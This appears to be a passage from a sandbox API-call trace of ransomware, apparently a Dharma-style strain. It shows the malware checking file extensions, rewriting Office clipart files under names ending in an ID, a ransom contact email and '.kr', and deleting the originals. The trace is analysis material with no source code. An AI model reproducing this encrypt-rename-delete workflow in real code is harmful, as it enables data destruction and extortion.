lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString=".jpg") returned 4 [0196.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString=".doc") returned 4 [0196.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString=".docx") returned 5 [0196.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.674] lstrlenW (lpString=".pdf") returned 4 [0196.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString=".xls") returned 4 [0196.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.675] lstrlenW (lpString=".xlsx") returned 5 [0196.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.675] lstrlenW (lpString=".ppt") returned 4 [0196.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.675] lstrlenW (lpString=".zip") returned 4 [0196.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.675] lstrlenW (lpString=".rar") returned 4 [0196.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.675] lstrlenW (lpString=".bz2") returned 4 [0196.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.675] lstrlenW (lpString=".7z") returned 3 [0196.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.675] lstrlenW (lpString=".dbf") returned 4 [0196.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.675] lstrlenW (lpString=".1cd") returned 4 [0196.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.675] lstrlenW (lpString=".jpg") returned 4 [0196.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.675] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.675] lstrlenW (lpString="HH01329_.WMF") returned 12 [0196.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.883] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6016) returned 1 [0196.884] CloseHandle (hObject=0x54c) returned 1 [0196.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0197.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0197.167] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.168] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0197.169] GetLastError () returned 0x0 [0197.169] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1780, lpOverlapped=0x0) returned 1 [0197.185] WriteFile (in: hFile=0x3e4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1790, lpOverlapped=0x0) returned 1 [0197.186] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.186] WriteFile (in: hFile=0x3e4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.186] SetEndOfFile (hFile=0x3e4) returned 1 [0197.186] CloseHandle (hObject=0x3e4) returned 1 [0197.186] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.186] SetEndOfFile (hFile=0x4d4) returned 1 [0197.194] CloseHandle (hObject=0x4d4) returned 1 [0197.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.195] lstrlenW (lpString=".doc") returned 4 [0197.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.195] lstrlenW (lpString=".docx") returned 5 [0197.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.195] lstrlenW (lpString=".pdf") returned 4 [0197.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.195] lstrlenW (lpString=".xls") returned 4 [0197.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.195] lstrlenW (lpString=".xlsx") returned 5 [0197.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.195] lstrlenW (lpString=".ppt") returned 4 [0197.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString=".zip") returned 4 [0197.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.196] lstrlenW (lpString=".rar") returned 4 [0197.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString=".bz2") returned 4 [0197.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString=".7z") returned 3 [0197.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString=".dbf") returned 4 [0197.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString=".1cd") returned 4 [0197.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString=".jpg") returned 4 [0197.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.196] lstrlenW (lpString=".doc") returned 4 [0197.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString=".docx") returned 5 [0197.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.196] lstrlenW (lpString=".pdf") returned 4 [0197.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.196] lstrlenW (lpString=".xls") returned 4 [0197.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.196] lstrlenW (lpString=".xlsx") returned 5 [0197.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.197] lstrlenW (lpString=".ppt") returned 4 [0197.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.197] lstrlenW (lpString=".zip") returned 4 [0197.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.197] lstrlenW (lpString=".rar") returned 4 [0197.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.197] lstrlenW (lpString=".bz2") returned 4 [0197.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.197] lstrlenW (lpString=".7z") returned 3 [0197.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.197] lstrlenW (lpString=".dbf") returned 4 [0197.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.197] lstrlenW (lpString=".1cd") returned 4 [0197.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0197.197] lstrlenW (lpString=".jpg") returned 4 [0197.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.197] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.197] lstrlenW (lpString="HH02282_.WMF") returned 12 [0197.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.207] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7932) returned 1 [0197.207] CloseHandle (hObject=0x4d8) returned 1 [0197.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0197.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.208] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.208] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.208] GetLastError () returned 0x0 [0197.208] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0197.211] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0197.212] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.212] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.212] SetEndOfFile (hFile=0x3f8) returned 1 [0197.213] CloseHandle (hObject=0x3f8) returned 1 [0197.213] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.213] SetEndOfFile (hFile=0x4d8) returned 1 [0197.215] CloseHandle (hObject=0x4d8) returned 1 [0197.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.217] lstrlenW (lpString=".doc") returned 4 [0197.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString=".docx") returned 5 [0197.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.217] lstrlenW (lpString=".pdf") returned 4 [0197.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString=".xls") returned 4 [0197.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.217] lstrlenW (lpString=".xlsx") returned 5 [0197.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.217] lstrlenW (lpString=".ppt") returned 4 [0197.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.217] lstrlenW (lpString=".zip") returned 4 [0197.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.217] lstrlenW (lpString=".rar") returned 4 [0197.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString=".bz2") returned 4 [0197.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString=".7z") returned 3 [0197.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.217] lstrlenW (lpString=".dbf") returned 4 [0197.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.217] lstrlenW (lpString=".1cd") returned 4 [0197.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.218] lstrlenW (lpString=".jpg") returned 4 [0197.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.218] lstrlenW (lpString=".doc") returned 4 [0197.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString=".docx") returned 5 [0197.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0197.218] lstrlenW (lpString=".pdf") returned 4 [0197.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString=".xls") returned 4 [0197.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.218] lstrlenW (lpString=".xlsx") returned 5 [0197.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0197.218] lstrlenW (lpString=".ppt") returned 4 [0197.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.218] lstrlenW (lpString=".zip") returned 4 [0197.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.218] lstrlenW (lpString=".rar") returned 4 [0197.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString=".bz2") returned 4 [0197.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.218] lstrlenW (lpString=".7z") returned 3 [0197.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.219] lstrlenW (lpString=".dbf") returned 4 [0197.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.219] lstrlenW (lpString=".1cd") returned 4 [0197.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0197.219] lstrlenW (lpString=".jpg") returned 4 [0197.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.219] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0197.219] lstrlenW (lpString="HH02298_.WMF") returned 12 [0197.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.220] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5552) returned 1 [0197.220] CloseHandle (hObject=0x4d8) returned 1 [0197.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0197.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0197.220] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.220] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.221] GetLastError () returned 0x0 [0197.221] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0197.223] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0197.224] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.224] SetEndOfFile (hFile=0x3f8) returned 1 [0197.224] CloseHandle (hObject=0x3f8) returned 1 [0197.225] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.225] SetEndOfFile (hFile=0x4d8) returned 1 [0197.629] CloseHandle (hObject=0x4d8) returned 1 [0197.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0198.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.276] lstrlenW (lpString=".doc") returned 4 [0198.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.276] lstrlenW (lpString=".docx") returned 5 [0198.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.276] lstrlenW (lpString=".pdf") returned 4 [0198.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.276] lstrlenW (lpString=".xls") returned 4 [0198.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.276] lstrlenW (lpString=".xlsx") returned 5 [0198.276] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.276] lstrlenW (lpString=".ppt") returned 4 [0198.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.276] lstrlenW (lpString=".zip") returned 4 [0198.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.276] lstrlenW (lpString=".rar") returned 4 [0198.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.276] lstrlenW (lpString=".bz2") returned 4 [0198.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString=".7z") returned 3 [0198.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.277] lstrlenW (lpString=".dbf") returned 4 [0198.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.277] lstrlenW (lpString=".1cd") returned 4 [0198.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.277] lstrlenW (lpString=".jpg") returned 4 [0198.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString="C:\\Program Files\\Microsoft 